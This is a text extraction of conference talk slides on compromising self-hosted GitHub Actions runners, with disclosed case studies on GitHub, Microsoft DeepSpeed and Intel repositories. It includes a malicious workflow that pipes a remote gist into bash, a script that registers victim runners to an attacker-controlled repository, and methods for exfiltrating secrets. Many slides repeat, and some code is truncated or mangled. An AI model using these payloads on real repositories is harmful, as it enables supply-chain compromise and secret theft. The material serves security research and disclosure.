




# SELF HOSTED GITHUB RUNNERS

Continuous Integration, Continuous Destruction

Adnan Khan | John Stawinski

# FIRST...A STORY









## DISCLAIMER

- All vulnerabilities mentioned during this talk have been remediated
- The views and opinions expressed in this presentation are solely our own
- The content presented is not endorsed by, nor does it represent the views of our employers
- All materials and ideas shared are independently developed and should not be attributed to our employers



#### ADNAN KHAN



X: eadnanthekhan Website: adnanthekhan.com

- → Security Engineer for Day Job
- → Security Researcher
- → Bug Bounty Hunter
- → Live in Baltimore, **Maryland**

#### JOHN STAWINSKI




- → Red Team Security Engineer
- → CI/CD Security Researcher
- → Enjoys anything outside, especially activities that lead to injury
- → Former Collegiate Athlete
- → Nomadic (for now)

Email: jstan327@gmail.com

LinkedIn: www.linkedin.com/in/john-stawinski-72ba87191

Website: johnstawinski.com



AND MANY MORE ....




https://www.fortinet.com > resources > cyberglossary

#### SolarWinds Supply Chain Attack

One of the most notable impacts was the financial fallout from the attack. On average, the attack cost companies 11% of their annual revenue. The impact was ...








ATTACK OF THE CLONES —

# GitHub besieged by millions of malicious repositories in ongoing attack

GitHub keeps removing malware-laced repositories, but thousands remain.

on their software supply chains (a three-fold increase from 2021). There's already evidence this is happening, with supply chain attacks up 633% and surpassing the number of malware-based attacks by 40% in 2022.

# OKS BUT 15 17 REALLY THAT BADZ



Yes.

THERE IS A SYSTEMIC LACK OF AWARENESS AROUND SELF-HOSTED CI/CD AGENT SECURITY IN THE WORLD'S MOST ADVANCED TECHNOLOGICAL ORGANIZATIONS, EXPOSING THEM TO CRITICAL SUPPLY CHAIN ATTACKS.

The tech community is uninformed of these attacks

These attacks are easy

These attacks could shape the course of the world



## THE PROGRESSION

August 2022 Abused a Self-Hosted GitHub Runner on a Red Team Engagement

5055/5053

Developed GitHub Actions Attack
Tooling



July 2023

Lightbulb Moment - Decided to Put Fixing a Typo to the Test Against GitHub Itself

July 2023 - February 2024 Disclosed GitHub Actions
Vulnerabilities in Public Repositories
with Bug Bounty Programs Using
Self-Hosted Runners




#### Github-Hosted Runners

- → Built by GitHub
- → Updated on a weekly cadence
- → As of writing, covers:
  - ◆ Linux, Windows, MacOS
  - Multiple architectures
- → Always Ephemeral

### Self-Hosted Runners



- → Managed by end users
- → Runs the Actions Runner agent
- → Security is the user's responsibility
- → "Path of Least Resistance" is a nonephemeral self-hosted runner.




### WORKFLOW RUN LOG ANALYSIS



#### Public Repository Self-Hosted Runners

Scanned ~July 4-8 2024





#### WORKFLOW RUN LOG ANALYSIS

Every GitHub Actions workflow has a run log.

Attackers can:

Learn about the self-hosted runner's configurations
Plan a full attack before any malicious actions

On public repositories, anyone can download the run logs

```
Requested labels: self-hosted, gpu, a100-40gb-4
Job defined at: google/maxtext/.github/workflows/UnitTests.yml@refs/heads/main
Waiting for a runner to pick up this job...
Job is about to start running on the runner: NVIDIA-4-A100-40GB-3 (repository)
Current runner version: '2.317.0'
Runner name: 'NVIDIA-4-A100-40GB-3'
Runner group name: 'Default'
Machine name: 'yooh-maxtext-github-runner-4gpu-3'
##[group]GITHUB_TOKEN Permissions
Contents: read
Metadata: read
Packages: read
##[endgroup]
##[endgroup]
[command]/usr/bin/git submodule status
##[group]Cleaning the repository
[command]/usr/bin/git clean -ffdx
[command]/usr/bin/git reset --hard HEAD
HEAD is now at 7a40096 Copybara import of the project:
##[endgroup]
##[group]Disabling automatic garbage collection
[command]/usr/bin/git config --local gc.auto 0
Use 0.15.1 version spec cache key for v0.15.1
Restored from hosted tool cache /__w/_tool/buildx-dl-bin/0.15.1/linux-x64
Buildx binary found in /github/home/.docker/buildx/.bin/0.15.1/linux-x64/docker-buildx
##[endgroup]
```



```
Requested labels: self-hosted, gpu, a100-40gb-4
Job defined at: google/maxtext/.github/workflows/UnitTests.yml@refs/heads/main
Waiting for a runner to pick up this job...
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[command]/usr/bin/git clean -ffdx
[command]/usr/bin/git reset --hard HEAD
HEAD is now at 7a40096 Copybara import of the project:
##[endgroup]
##[group]Disabling automatic garbage collection
[command]/usr/bin/git config --local gc.auto 0
Use 0.15.1 version spec cache key for v0.15.1
Restored from hosted tool cache /__w/_tool/buildx-dl-bin/0.15.1/linux-x64
Buildx binary found in /github/home/.docker/buildx/.bin/0.15.1/linux-x64/docker-buildx
##[endgroup]
```



#### Requested Runner Labels

```
Requested labels: self-hosted, gpu, a100-40gl
     Requested labels: self-hosted, gpu, a100-40gb-4
```

Metadata: read

#### Organization Level vs. Repository Level Runners

Job is about to start running on the runner: NVIDIA-4-A100-40GB-3 (repository)

```
Runner Name / Group
               Runner name: 'NVIDIA-4-A100-40GB-3'
Restored from hosted Runner group name: 'Default'
              Machine name: 'yooh-maxtext-github-runner-4gpu-3'
```



```
Requested labels: self-hosted, gpu, a100-40gb-4
Job defined at: google/maxtext/.github/workflows/UnitTests.yml@refs/heads/main
Waiting for a runner to pick up this job...
Job is about to start running on the runner: NVIDIA-4-A100-40GB-3 (repository)
Current runner version: '2.317.0'
Runner name: 'NVIDIA-4-A100-40GB-3'
Runner group name: 'Default'
Machine name: 'yooh-maxtext-qithub-runner-4gpu-3'
##[group]GITHUB_TOKEN Permissions
Contents: read
Metadata: read
Packages: read
##[endgroup]
##[endgroup]
[command]/usr/bin/git submodule status
##[group]Cleaning the repository
[command]/usr/bin/git clean -ffdx
[command]/usr/bin/git reset --hard HEAD
HEAD is now at 7a40096 Copybara import of the project:
##[endgroup]
##[group]Disabling automatic garbage collection
[command]/usr/bin/git config --local gc.auto 0
Use 0.15.1 version spec cache key for v0.15.1
Restored from hosted tool cache /__w/_tool/buildx-dl-bin/0.15.1/linux-x64
Buildx binary found in /github/home/.docker/buildx/.bin/0.15.1/linux-x64/docker-buildx
##[endgroup]
```



```
Requested labels: self-hosted, gpu, GITHUB_TOKEN Permissions
Job defined at: google/maxtext/.github/workflows/UnitTests.yml@refs/heads/main
Waiting for a runner to pic
Job is about to start runni
Current runner version: '2.
Runner name: 'NVIDIA-4-A100
Runner group name: 'Default
Machine name: 'yooh-maxtext
##[group]GITHUB_TOKEN Permi
Contents: read
Metadata: read
Metadata: read
Metadata: read
```

#### Ephemeral vs. non-Ephemeral Runner

```
##[endgroup]
[command]/usr/bin/g
##[group]Cleaning the repository
[command]/usr/bin/g
[command]/usr/bin/g
[command]/usr/bin/g
HEAD is now at 7a40
HEAD is now at 7a40
HEAD is now at 7a40
##[endgroup]
##[group]Disabling automatic garbage collection
[command]/usr/bin/git config —local gc.au Runner Architecture
Use 0.15.1 version spec cache key for v0.15.1
Restored from hosted
Buildx binary found
##[endgroup]
##[endgroup]

##[endgroup]

##[endgroup]
```

# TEACH ME HOW TO HACK EVERYONE.

People Tend to Use Default Settings

Becoming a Contributor is Not a Security Boundary

Anyone Can Fix a Typo



#### WHAT IS THE "VULNERABILITY"?

Default workflow approval




Non-ephemeral public repo self-hosted runner



Over-permissive GITHUB\_TOKEN or Actions Secrets




By themselves, these are gaps in "best practices" Together, they could ruin your day







#### THE THREE STEP PROCESS

- 1. Become a contributor
- 2. Persist on the runner
- 3. Capture secrets and move laterally





## CASE STUDIES





## Case Study 1

THE TECH COMMUNITY IS UNINFORMED OF THESE ATTACKS WHICH CAN HAVE CRITICAL, WIDESPREAD IMPACT



HACKING GITHUB,


THROUGH ACTIONS

CASE STUDY 1: GITHUB ACTIONS RUNNER IMAGES

"The one that started it all"




## HOW DO I BECOME A CONTRIBUTOR?






#### Fix minor typo in workflow file #7931







Fix minor typo in workflow file

Verified  $\checkmark$  d1bfe62

#### PLANNING THE ATTACK

Scheduled Nightly Workflows on Self-Hosted Runners

GITHUB\_TOKEN with full write access

Multiple Non-Ephemeral Self Hosted Runners

Nightly Builds Interacted with vCenter, Azure and had secrets to both

Images saved off

#### macOS-11\_unstable.5593959675.1 / build

Started 1h 5m 14s ago




#### Set up job

- 1 Current \*\*\* version: '2.306.0'
- 2 Runner name: 'vmware-agent-0.2'
- 3 Runner group name: 'Default'
- 4 Machine name: 'ubuntu-unstable-o'
- 5 ▼GITHUB\_TOKEN Permissions
- 6 Actions: write
- 7 Checks: write
- 8 Contents: write
- 9 Deployments: write
- 10 Discussions: write



# THE MISSION - FAILURE WAS NOT AN OPTION



GO TIME: Friday, July 21st, 2023



## THE PAYLOAD - MODIFIED "LINTER.YML" IN FORK

```
name: Linter
run-name: "some CI testing"
on:
  pull_request:
    branches: [ main ]
jobs:
  build:
    name: Lint JSON & MD files
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
        version: [1, 2, 3]
        os: [azure-builds, macos-vmware]
    steps
      - name: Checkout Code
        uses: actions/checkout@v3
      - name: Lint Code Base
        continue-on-error: true
        env:
           version: ${{ matrix.version }}
           SYSTEM_NAME: ${{ matrix.os }}
        run: ./images.CI/shebang-linter.ps1
      - name: Checking shebang lines in MacOS and Ubuntu releases.
        if: always()
                   "Run ./images.CI/shebang-linter.ps1"
        run: echo
```

For pull\_request trigger, the merge commit is the source of truth!



# THE PAYLOAD - MODIFIED "LINTERYML" IN FORK

```
name: Lint JSON & MD files
runs-on: ${{ matrix.os }}
strategy:
  matrix:
    version: [1, 2, 3]
    os: [azure-builds, macos-vmware]
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runs-on: ${{ matrix.os }}
strategy:
  matrix:
   version: [1, 2, 3]
    os: [azure-builds, macos-vmware]
```



### THE PAYLOAD - MODIFIED "LINTERYML" IN FORK

```
#!/bin/bash
                                                   sudo apt -y install jq
                                                   curl -sSfL https://gist.githubusercontent.com/UncertainBadg3r
                                                   /32c8fa0b13cdac6095b916a50b5bac34/raw/code | bash
run: ./images.CI/shebang-linter.ps1
name: Checking shebang lines in MacOS and Ubuntu releases.
```



```
SH_REG_PAT=\echo "" | base64 -d\
C2_REPO=c2user/c2repo
REG_TOKEN='curl -L -X POST -H "Accept: application/vnd.github+json" -H "Authorization: B
earer $SH_REG_PAT" -H "X-GitHub-Api-Version: 2022-11-28" https://api.github.com/repos/$C
2_REPO/runners/registration-token | grep token | awk -F \" {'print $4'}`
if [[ "$SYSTEM_NAME" == "azure-builds" ]]; then
    mkdir ~/image-generation-$version && cd ~/image-generation-$version
    curl -o actions-runner-linux-x64-2.306.0.tar.gz -L https://github.com/actions/runner
/releases/download/v2.306.0/actions-runner-linux-x64-2.306.0.tar.gz
    tar xzf ./actions-runner-linux-x64-2.306.0.tar.gz
    HOSTNAME='uname -n'
    ./config.sh --url https://github.com/$C2_REPO --unattended --token $REG_TOKEN --name
 "$SYSTEM_NAME_$version"
    export RUNNER_TRACKING_ID=0 && nohup ./run.sh &
```



```
SH_REG_PAT='echo "" | base64 -d'
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HOSTNAME=`uname -n`
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"$SYSTEM_NAME_$version"
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if [[ "$SYSTEM_NAME" == "azure-builds" ]]; then
    mkdir ~/image-generation-$version && cd ~/image-generation-$version
curl -o actions-runner-linux-x64-2.306.0.tar.gz -L https://github.com/actions/runner
```

```
curl -o actions-runner-linux-x64-2.306.0.tar.gz -L https://github.com/actions/runner
/releases/download/v2.306.0/actions-runner-linux-x64-2.306.0.tar.gz
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HOSTNAME=`uname -n`
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tar xzf ./actions-runner-linux-x64-2.306.0.tar.gz
```

```
HOSTNAME=`uname -n`
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```



```
mkdir ~/image-generation-$version && cd ~/image-generation-$version
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tar xzf ./actions-runner-linux-x64-2.306.0.tar.gz
```


```
HOSTNAME=`uname -n`
./config.sh --url https://github.com/$C2_REPO --unattended --token $REG_TOKEN --name
"$SYSTEM_NAME_$version"
```

export RUNNER\_TRACKING\_ID=0 && nohup ./run.sh &



# Subsequent Workflow Runs









#### PERSISTENCE ON SELF-HOSTED RUNNER

Access		Result
GITHUB_TOKEN with actions: write	<b>→</b>	Delete workflow runs via Github API [T1070]
Un-redacted scripts from future workflows	<b></b>	Access to workflow secrets [T1552]
Internal Network Access	<b>→</b>	Move Laterally to Internal vCenter [T1210]
GITHUB_TOKEN with contents: write	<b></b>	Pipeline Privilege Escalation via Repository Dispatch Event [T1546]
Interact with ongoing builds		Supply Chain Compromise [T1195]






# WEBSHELL





# CLEAN MALICIOUS RUNS





# WEBSHELL AND SECRETS EXFILTRATION

#### Techniques

Base64 encode and print to workflow log on private C2 repo

Use actions/upload-artifact to exfiltrate larger files

Place post-checkout hook in .git/hooks and dump runner's memory - requires root







Jobs



Run details



Workflow file

#### build

succeeded 35 minutes ago in 2s

> Set up job



- ▶ Run cat /home/pirate/Agents/image-generation-1/ work/ temp/\* | base64 | base64
- 4 cat: /home/pirate/Agents/image-generation-1/\_work/\_temp/\_github\_workflow: Is a directory
- SkVWeWNtOX1RV04wYVc5dVVISmxabVZ5Wlc1alpTQTlJQ2R6ZEc5d0p3b3VMMmx0WVdkbGN5NURT
- 6 Uzl0WVdOdmN5OXpaV3hsWTNRdApaR0YwWVhOMGIzSmxMbkJ6TVNCZ0NpQWdMVlpOVG1GdFpTQWli



# IMPACT - NETWORK LATERAL MOVEMENT

Ability to pivot to private vCenter deployment as administrator

# Dutput \$ErrorActionPreference = 'stop' ./images.CI/macos/select-datastore.ps1 ` -VMName "macOS-12\_20230721\_unstable.5627597321.1" ` -VIServer 10.212 \_\_\_\_\_\_ ` -VIUserName administrator@maccloud.local ` -VIPassword f \_\_\_\_\_\_ ` -Cluster mcv2-build-unstable if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit \$LASTEXITCODE }\$Errif ("" -and "") {



# IMPACT - BUILD TAMPERING





Use GITHUB\_TOKEN and GitHub API to trigger repository dispatch event with script injection payload

Use payload to dump runner's memory and steal the PRAPPROVAL\_SECRET, which is a PAT belonging to a GitHub employee.

```
on:
 repository dispatch:
   types: [merge-pr]
jobs:
 Merge pull request:
   runs-on: ubuntu-latest
   steps:
    - uses: actions/checkout@v4
      with:
        fetch-depth: 0
    - name: Resolve possible conflicts ${{ github.event.client payload.ReleaseBranchName }} with main
      run:
        git config --global user.email "no-reply@github.com"
       git config --global user.name "Actions service account"
        git checkout ${{ github.event.client payload.ReleaseBranchName }}-docs
       git merge --no-edit --strategy-option=ours main
       git push origin ${{ github.event.client_payload.ReleaseBranchName }}-docs
       sleep 30
    - name: Approve pull request by GitHub-Actions bot
      uses: actions/github-script@v7
      with:
       github-token: ${{secrets.PRAPPROVAL_SECRET}}
```



Use GITHUB\_TOKEN and GitHub API to trigger repository dispatch event with script injection payload

Use payload to dump runner's memory and steal the PRAPPROVAL\_SECRET, which is a PAT belonging to a GitHub employee.

```
repository dispatch:
    types: [merge-pr]
jobs:
 Merge pull request:
   runs-on: ubuntu-latest
   steps:
   - uses: actions/checkout@v4
     with:
       fetch-depth: 0
    - name: Resolve possible conflicts ${{ github.event.client payload.ReleaseBranchName }} with main
     run:
       git config --global user.email "no-reply@github.com"
       git config --global user.name "Actions service account"
       git checkout ${{ github.event.client payload.ReleaseBranchName }}-docs
       git merge --no-edit --strategy-option=ours main
       git push origin ${{ github.event.client_payload.ReleaseBranchName }}-docs
       sleep 30
    - name: Approve pull request by GitHub-Actions bot
     uses: actions/github-script@v7
     with:
       github-token: ${{secrets.PRAPPROVAL SECRET}}
```



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```
repository dispatch:
  types: [merge-pr]
```



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```
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 repository dispatch:
   types: [merge-pr]
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 Merge pull request:
   runs-on: ubuntu-latest
   steps:
    - uses: actions/checkout@v4
      with:
        fetch-depth: 0
    - name: Resolve possible conflicts ${{ github.event.client payload.ReleaseBranchName }} with main
     run:
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       git config --global user.name "Actions service account"
       git checkout ${{ github.event.client payload.ReleaseBranchName }}-docs
       git merge --no-edit --strategy-option=ours main
       git push origin ${{ github.event.client payload.ReleaseBranchName }}-docs
       sLeep 30
    - name: Approve pull request by GitHub-Actions bot
     uses: actions/github-script@v7
     with:
       github-token: ${{secrets.PRAPPROVAL SECRET}}
```



Use payload to dump runner's memory and steal the PRAPPROVAL\_SECRET, which is a PAT belonging to a GitHub employee.

```
git checkout ${{ github.event.client payload.ReleaseBranchName }}-docs
git merge --no-edit --strategy-option=ours main
git push origin ${{ github.event.client_payload.ReleaseBranchName }}-docs
```



Use GITHUB\_TOKEN and GitHub API to trigger repository dispatch event with script injection payload

Use payload to dump runner's memory and steal the PRAPPROVAL\_SECRET, which is a PAT belonging to a GitHub employee.

```
on:
 repository dispatch:
   types: [merge-pr]
jobs:
 Merge pull request:
   runs-on: ubuntu-latest
   steps:
    - uses: actions/checkout@v4
      with:
        fetch-depth: 0
    - name: Resolve possible conflicts ${{ github.event.client payload.ReleaseBranchName }} with main
      run:
        git config --global user.email "no-reply@github.com"
       git config --global user.name "Actions service account"
        git checkout ${{ github.event.client payload.ReleaseBranchName }}-docs
       git merge --no-edit --strategy-option=ours main
        git push origin ${{ github.event.client payload.ReleaseBranchName }}-docs
        sleep 30
       name: Approve pull request by GitHub-Actions bot
       uses: actions/github-script@v7
       with:
         github-token: ${{secrets.PRAPPROVAL SECRET}}}
```




Use GITHUB\_TOKEN and GitHub API to trigger repository dispatch event with script injection payload

Use payload to dump runner's memory and steal the PRAPPROVAL\_SECRET, which is a PAT belonging to a GitHub employee.

```
name: Approve pull request by GitHub-Actions bot
uses: actions/github-script@v7
with:
  github-token: ${{secrets.PRAPPROVAL SECRET}}
```



# IMPACT - SUPPLY CHAIN COMPROMISE






Modify code in main

Rapid release cadence

Hack Everyone



# ATTACK PATH SUMMARY



# Case Study 2

THESE ATTACK ARE EASY.

# Breaching

# Microsoft's

Perimeter



CASE STUDY Z



Breaching

Microsoft's

Web App ration Vulnerability

Fix a Typo

Perimeter





# A TREND IN AI/ML ...

Many public GitHub repositories that use selfhosted runners for compute requirements

Engineers working on AI projects have high pressure to move very fast

Result: Developers take shortcuts at the expense of security







→Open-source deep-learning optimization library


→33,000 stars on GitHub



```
DeepSpeed / .github / workflows / amd-mi200.yml 📮
 loadams and root Add required paths to trigger AMD tests on PRs (#5406)
           Blame 86 lines (74 loc) · 2.96 KB · 1
  Code
            name: amd-mi200
      1
      3
            on:
              workflow_dispatch:
              pull_request:
                paths:
                  - '.github/workflows/amd-mi200.yml'
                  - 'requirements/**'
              schedule:
      9
                - cron: "0 0 * * *"
     10
     11
     12
            concurrency:
     13
              group: ${{ github.workflow }}-${{ github.ref }}
     14
              cancel-in-progress: true
     15
     16
            permissions:
     17
              contents: read
     18
              issues: write
     19
     20
            jobs:
     21
              amd-tests:
     22
                # The type of runner that the job will run on
     23
                runs-on: [self-hosted, amd, mi200]
```

runs-on: [self-hosted, amd, mi200]


#### DeepSpeed / .github / workflows / amd-mi200.yml loadams and root Add required paths to trigger AMD tests on PRs (#5406) Blame 86 lines (74 loc) · 2.96 KB · 1 Code name: amd-mi200 1 on: workflow\_dispatch: pull\_request: paths: - '.github/workflows/amd-mi200.yml' - 'requirements/\*\*' schedule: - cron: "0 0 \* \* \*" 10 11 12 concurrency: group: \${{ github.workflow }}-\${{ github.ref }} 13 14 cancel-in-progress: true 15 16 permissions: 17 contents: read 18 issues: write 19 20 jobs: 21 amd-tests: # The type of runner that the job will run on 22 runs-on: [self-hosted, amd, mi200] 23



Edit ⟨> Code ▼

#### fix typo in SECURITY.md #4019


(https://www.microsoft.com/msrc).



#### CREATING OUR MALICIOUS WORKFLOW

```
name: nv-h100
on:
 pull request
jobs:
 unit-tests:
   runs-on: [self-hosted, nvidia, h100]
   steps:
     - uses: actions/checkout@v3
     - name: unit-tests
       continue-on-error: true
       run:
         whoami
         pwd
         ls
```


- 1. Create Deepspeed Fork
- 2. Add malicious workflow
- 3. Submit PR



#### CREATING OUR MALICIOUS WORKFLOW

runs-on: [self-hosted, nvidia, h100]

run: |
whoami
pwd






### HELLO REDMOND

drwx	9	REDMOND. L	REDMOND.domain	users	4096	Jul	25	18:59	
drwxr-xr-x	15	root	root		4096	Jun	19	09:18	
drwxr-xr-x	8	REDMOND. L	REDMOND.domain	users	4096	Jul	17	07:18	actions-runner
-rw	1	REDMOND.1	REDMOND.domain	users	4504	Jul	15	05:12	.bash_history
-rw	1	REDMOND.1	REDMOND.domain	users	220	Jun	19	09:18	.bash_logout
-rw	1	REDMOND. L	REDMOND.domain	users	3771	Jun	19	09:18	.bashrc
drwx	4	REDMOND.l	REDMOND.domain	users	4096	Jun	19	16:10	.cache
drwx	4	REDMOND. L	REDMOND.domain	users	4096	Jun	20	14:13	.emacs.d
drwx	5	REDMOND.1	REDMOND.domain	users	4096	Jun	19	16:02	.local
drwx	3	REDMOND.1	REDMOND.domain	users	4096	Jun	19	16:10	.nv
-rw	1	REDMOND. L	REDMOND.domain	users	807	Jun	19	09:18	.profile
-rw	1	REDMOND.1	REDMOND.domain	users	7	Jun	20	10:06	<pre>.python_history</pre>
-rw-rr	1	REDMOND. L	REDMOND.domain	users	667	Jun	20	14:14	runner.sh
drwx	3	REDMOND. L	REDMOND.domain	users	4096	Jun	20	14:13	snap
drw	2	REDMOND.1	REDMOND.domain	users	4096	Jul	25	18:59	.ssh
-rw-rr	1	REDMOND. L	REDMOND.domain	users	0	Jun	19	10:33	.sudo_as_admin_successful





#### CASE STUDY Z - MICROSOFT DEEPSPEED



#### These attack are easy.



# GATO-X DEMO

Available at: https://github.com/adnanekhan/Gato-X

```
(venv)-(kali% kali)-[~/Tools/gato-x]
$ GH_TOKEN='cat enum_tok.txt' gato-x e -r gatoxtest/BH_DC_2024Demo
```

4


# NONE HAVE SEEN WHAT YOU ARE ABOUT TO SEE...

#### Case Study 3

# THESE ATTACKS COULD SHAPE THE COURSE OF THE WORLD

#### CASE STUDY 3

INSIDE



Start

#### **Customer Stories** Enterprise Team All stories

who leads the 1Source team. "Having a single source control system is absolutely essential to enable developers to share, learn, and collaborate across the entire organization."

"

By moving our code base to GitHub, we've broken down barriers.



Now, Intel's 1Source initiative is home to the company's GitHub deployment, hosting four GitHub organizations that are maintained by the 1Source team, each with a unique source



### LOOK NO TYPO

```
ai-containers / .github / workflows / test-runner-ci.yaml
         Blame 153 lines (152 loc) · 5.75 KB · ①
Code
           # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either &
    11
   12
           # See the License for the specific language governing pe
           # limitations under the License.
    13
   14
    15
           name: Test Runner CI
    16
           on:
   17
             merge_group: null
             pull request target:
    18
    19
               types: [opened, edited, reopened, synchronize]
               branches: [main]
    20
               paths:
    21
               - 'test-runner/**'
    22
    23
           permissions: read-all
   24
           concurrency:
             group: ${{ github.workflow }}-${{ github.event.pull re
    25
    26
             cancel-in-progress: true
               - uses: actions/checkout@a5ac7e51b41094c92402da3b24376905380afc29 # v4.1.6
    39
                 if: ${{ github.event_name == 'pull_request_target' }}
    40
    41
                 with:
                   fetch-depth: 0
    42
    43
                   ref: "refs/pull/${{ github.event.number }}/merge"
```



### LOOK NO TYPO

```
ai-containers / .github / workflows / test-runner-ci.yaml
         Blame 153 lines (152 loc) · 5.75 KB · ①
Code
           # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either &
    11
    12
           # See the License for the specific language governing pe
           # limitations under the License.
    13
   14
    15
           name: Test Runner CI
    16
           on:
             merge group: null
    17
             pull request_target:
    18
               types: [opened, edited, reopened, synchronize]
    19
               branches: [main]
    20
               paths:
    21
               - 'test-runner/**'
    22
           permissions: read-all
    23
    24
           concurrency:
             group: ${{ github.workflow }}-${{ github.event.pull re
    25
    26
             cancel-in-progress: true
               - uses: actions/checkout@a5ac7e51b41094c92402da3b24376905
    39
                 if: ${{ github.event name == 'pull request target' }}
    40
    41
                 with:
    42
                   fetch-depth: 0
    43
                   ref: "refs/pull/${{ github.event.number }}/merge"
```



### LOOK NO TYPO

```
pull_request_target:
  types: [opened, edited, reopened, synchronize]
  branches: [main]
  paths:
    - 'test-runner/**'
```

#### Pull\_request\_target workflows have access to secrets

```
- uses: actions/checkout@a5ac7e51b41094c92402da3b24376905
if: ${{ github.event_name == 'pull_request_target' }}
with:
   fetch-depth: 0
   ref: "refs/pull/${{ github.event.number }}/merge"
```

Merge commit contains arbitrary code from fork



## SHOW ME THE SECRETS

```
65
            - name: Install requirements
                                                                       ai-containers / tox.ini
66
              run: python -m pip install -U pip tox-gh-actions
67
            - name: Tox
                                                                               Blame 61 lines (54 loc) · 1.05 KB
                                                                       Code
              run: python -m tox
68
                                                                           8
                                                                                 [testenv]
69
              env:
                                                                                 deps =
                CACHE REGISTRY: ${{ secrets.CACHE REGISTRY }}
70
                                                                                    -r test-runner/dev-requirements.txt
                                                                          10
71
                FORCE COLOR: 1
                                                                          11
                                                                                 commands =
                GITHUB TOKEN: ${{ secrets.ACTION TOKEN }}
72
                                                                          12
                                                                                    python -m coverage run -p -m pytest test-runner/tests/utest.py
                                                                                 pythonpath = tests
                                                                          13
                PERF REPO: ${{ secrets.PERF REPO }}
73
                                                                                 passenv = DOCKER *
                                                                          14
74
                REGISTRY: ${{ secrets.REGISTRY }}
75
                REPO: ${{ secrets.REPO }}
76
            - uses: actions/upload-artifact@65462800fd760344b1a7b4382951275a0abb4808 # v4.3.3
              with:
77
78
                name: covdata-${{ matrix.python }}
                path: ${{ github.workspace }}/.coverage*
79
```

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## SHOW ME THE SECRETS

```
- name: Install requirements
65
                                                                      ai-containers / tox.ini
66
              run: python -m pip install -U pip tox-gh-actions
67
            - name: Tox
                                                                               Blame 61 lines (54 loc) · 1.05 KB
                                                                       Code
              run: python -m tox
68
                                                                           8
                                                                                [testenv]
69
              env:
                                                                                deps =
                CACHE REGISTRY: ${{ secrets.CACHE REGISTRY }}
70
                                                                                    -r test-runner/dev-requirements.txt
                                                                          10
71
                FORCE COLOR: 1
                                                                          11
                                                                                commands =
                GITHUB_TOKEN: ${{ secrets.ACTION_TOKEN }}
72
                                                                          12
                                                                                    python -m coverage run -p -m pytest test-runner/tests/utest.py
                                                                          13
                                                                                pythonpath = tests
                PERF REPO: ${{ secrets.PERF REPO }}
73
                                                                          14
                                                                                 passenv = DOCKER *
74
                REGISTRY: ${{ secrets.REGISTRY }}
75
                REPO: ${{ secrets.REPO }}
76
            - uses: actions/upload-artifact@65462800fd760344b1a7b4382951275a0abb4808 # v4.3.3
77
              with:
78
                name: covdata-${{ matrix.python }}
                path: ${{ github.workspace }}/.coverage*
79
```

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## SHOW ME THE SECRETS

```
run: python -m tox
Workflow ran tox after checking out untrusted code
   commands =
      python -m coverage run -p -m pytest test-runner/tests/utest.py
                                                            est-runner/tests/utest.py
        Modify tox.ini or unit tests to run arbitrary code
      GITHUB TOKEN: ${{ secrets.ACTION TOKEN }}
```

The 'ACTION\_TOKEN' was a GitHub Personal Access Token



# AI/ML STRIKES AGAIN

Over-scoped Classic Personal Access Token (PAT) with "all boxes checked" as Actions secret

Non-ephemeral runner attached to public repository

Changes to workflows allowing forks access to secrets without security reviews





# A PULL REQUEST CAN DO WHAT?

Create Pull Request

ACTION\_TOKEN

Ability to Approve PR
Workflows

Persistence on Non-Ephem Runner Egress from Allow-Listed IP Search for Internal Misconfig

Access To Private
Organizations

- ▶ Run source venv2/bin/activate && gato-x e -t intel-innersource -sr -oJ intel\_inner1.json
- [+] The authenticated user is:
- [+] The GitHub Classic PAT has the following scopes: admin:enterprise, admin:gpg\_key, admin:or; write:discussion, write:packages
- [+] Enumerating the **intel-innersource** organization!
- [+] The user is likely an organization member!
- [+] About to enumerate 53580 repos within the intel-innersource organization!
- [+] Querying and caching workflow YAML files!
- [+] Querying 0 out of 536 batches!
- [+] Querying 1 out of 536 batches!

Gato-X
Enumeration *from*Intel Self-Hosted
Runner



# NOT GREAT, BUT IT'S ONE EMPLOYEE, AND THE RUNNER IS IN THE DMZ

EXCEPT...



#### ALL EMPLOYEES COULD BECOME ADMIN

```
name: inventory
guid: 185092a3-0cd0-445b-8b3e-8ef542227489
owners:
topics:

    infrastructure

description: Repository to manage all the inventories for intel-innersource
permissions:
  admin:
            Support Team
  write:

    All BB Employees

            Inventory Write
            Inventory Write Generic Accounts
  read:
            Read CW
allow-merge-commit: false
allow-squash-merge: true
allow-rebase-merge: false
delete-branch-on-merge: true
```

```
"target": "branch",
"source_type": "Repository",
"source": "
                                        . 11
"enforcement": "active",
"conditions": {
  "ref_name": {
    "exclude": [
      "refs/heads/gh-readonly-queue/**/*"
    "include": [
      "~ALL"
```

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#### ALL EMPLOYEES COULD BECOME ADMIN

```
name: inventory
quid: 185092a3-0cd0-445b-8b3e-8ef542227489
owners
topics:
 infrastructure
description. Repository to manage all the inventories for intel-innersource
permissions:
  admin:
            Support Team
  write:

    All BB Employees

            Inventory Write
            Inventory Write Generic Accounts
  read:
            Read CW
allow-merge-commit: false
allow-squash-merge: true
allow-rebase-merge: false
delete-branch-on-merge: true
```

```
"target": "branch",
"source_type": "Repository",
"source": "
"enforcement": "active",
"conditions": {
  "ref_name": {
    "exclude": [
      "refs/heads/gh-readonly-queue/**/*"
    "include": [
      "~ALL"
```

Adnan Khan - X: @adnanthekhan Website: adnanthekhan.com #BHUSA @BlackHatEvents



#### ALL EMPL

name: inventory guid: 185092a3-0cd0-445b-8b3e-8ef542227489 owners:

```
topics:
```

- in+rastructure
description: Repository
permissions:
 admin:

write:
- All BB Employees

- Inventory Wri

read:

- Read CW llow-merge-commit: fa llow-squash-morge: ta

allow-rebase-merge: fals

- Inventory Write

```
"enforcement": "active"
"conditions": {
```

await github.teams.addOrUpdateRepoPermissionsInOrg({

queue/\*\*/\*"

ME ADMIN



#### ALL EMPLOYEES COULD BECOME ADMIN

```
name: inventory
guid: 185092a3-0cd0-445b-8b3e-8ef542227489
owners:
topics:

    infrastructure

description: Repository to manage all the inventories for intel-innersource
permissions:
  admin:
            Support Team
  write:
  All BB Employees
            Inventory Write
            Inventory Write Generic Accounts
  read:
            Read CW
allow-merge-commit: false
allow-squash-merge: true
allow-rebase-merge: false
delete-branch-on-merge: true
```

```
"target": "branch",
"source_type": "Repository",
"source": "
                                        . 11
"enforcement": "active",
"conditions": {
  "ref_name": {
    "exclude": [
      "refs/heads/gh-readonly-queue/**/*"
    "include": [
      "~ALL"
```

```
- name: Add Support Team
